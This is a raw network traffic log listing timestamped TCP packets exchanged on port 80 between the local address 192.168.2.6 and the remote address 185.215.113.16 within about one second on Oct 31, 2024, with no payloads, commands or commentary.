Oct 31, 2024 01:18:34.590485096 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.590497971 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.590507030 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.590533972 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.590615988 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.590627909 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.590655088 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.590666056 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.590677023 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.590677977 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.590703964 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.590744019 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.590755939 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.590766907 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.590784073 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.590826035 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.590914011 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.590925932 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.590936899 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.590950012 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.590961933 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.590972900 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.590981960 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.590985060 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.591012001 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.591015100 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.591032028 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.591042042 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.591053963 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.591054916 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.591093063 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.591098070 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.591109991 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.591120005 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.591141939 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.591171026 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.591207027 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.591217041 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.591227055 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.591239929 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.591252089 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.591264009 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.591269970 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.591272116 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.591284037 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.591326952 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.591341972 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.591353893 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.591366053 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.591377020 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.591386080 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.591411114 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.591651917 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.591662884 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.591690063 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.591757059 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.591779947 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.591800928 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.591801882 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.591814041 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.591825008 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.591835022 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.591839075 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.591862917 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.591876030 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.591876984 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.591886997 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.591893911 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.591902018 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.591933966 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.591941118 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.591952085 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.591975927 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.591979980 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.591989994 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.592000961 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.592011929 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.592024088 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.592041016 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.592103958 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.592123032 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.592133999 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.592153072 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.592159033 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.592174053 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.592178106 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.592212915 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.592231035 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.592236996 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.592247963 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.592258930 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.592271090 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.592273951 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.592283010 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.592293978 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.592295885 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.592323065 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.592339039 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.592349052 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.592365026 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.592381954 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.592386961 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.592403889 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.592415094 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.592423916 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.592425108 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.592438936 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.592454910 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.592479944 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.592488050 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.592499971 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.592510939 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.592535973 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.592549086 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.592710018 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.592736006 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.592749119 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.592758894 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.592776060 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.592782021 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.592794895 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.592798948 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.592812061 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.592823029 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.592834949 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.592835903 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.592847109 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.592858076 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.592861891 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.592875957 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.592886925 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.592892885 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.592911959 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.592914104 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.592925072 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.592936993 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.592947006 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.592958927 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.592961073 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.592983007 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.592998981 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.593030930 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.593055964 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.593067884 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.593076944 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.593089104 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.593099117 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.593100071 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.593106985 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.593111992 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.593123913 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.593142986 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.593142986 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.593158960 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.593174934 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.593194008 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.601867914 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.623450041 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.623476028 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.623487949 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.623538017 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.623543024 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.623548985 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.623558998 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.623572111 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.623583078 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.623583078 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.623611927 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.623637915 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.696546078 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.703751087 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.703779936 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.703798056 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.703815937 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.703826904 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.703829050 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.703860044 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.703860998 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.703875065 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.703898907 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.703907013 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.703924894 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.703937054 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.703943968 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.703948975 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.703972101 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.703979969 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.703990936 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.704015970 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.704025030 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.704035044 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.704046011 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.704054117 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.704063892 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.704082966 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.704117060 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.704128027 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.704138994 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.704152107 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.704186916 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.704207897 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.704209089 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.704221964 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.704240084 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.704246044 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.704257011 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.704268932 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.704278946 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.704284906 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.704304934 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.704317093 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.704324007 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.704338074 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.704354048 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.704375029 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.704384089 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.704397917 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.704442978 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.704447031 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.704468012 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.704478979 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.704509974 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.704607010 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.704618931 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.704633951 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.704646111 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.704647064 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.704680920 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.704725027 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.704752922 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.704763889 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.704763889 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.704777002 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.704788923 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.704794884 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.704802036 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.704823017 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.704829931 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.704840899 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.704850912 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.704868078 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.704871893 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.704886913 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.704921961 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.704932928 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.704960108 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.704967976 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.704979897 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.705005884 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.705008030 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.705020905 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.705032110 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.705044985 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.705050945 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.705064058 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.705095053 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.705126047 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.705133915 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.705137014 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.705152035 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.705179930 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.705183029 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.705194950 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.705210924 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.705218077 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.705235004 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.705254078 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.705257893 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.705266953 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.705277920 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.705291033 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.705317974 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.705336094 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.705360889 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.705430031 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.705449104 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.705466032 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.705473900 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.705477953 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.705497980 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.705498934 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.705517054 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.705529928 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.705535889 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.705543041 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.705554008 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.705564022 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.705585957 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.705590010 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.705605984 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.705617905 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.705630064 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.705642939 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.705671072 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.705687046 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.705697060 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.705708027 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.705724955 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.705733061 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.705738068 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.705760956 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.705765963 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.705779076 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.705789089 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.705802917 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.705825090 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.705841064 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.705852985 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.705871105 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.705881119 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.705893993 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.705900908 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.705921888 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.705929041 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.705941916 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.705969095 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.706000090 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.706011057 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.706022024 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.706032038 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.706037998 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.706057072 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.706069946 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.706080914 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.706091881 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.706103086 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.706106901 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.706134081 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.706149101 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.706161022 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.706171036 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.706187963 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.706196070 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.706203938 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.706208944 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.706223011 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.706248999 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.706295967 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.706305981 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.706316948 CET	80	49797	185.215.113.16	192.168.2.6
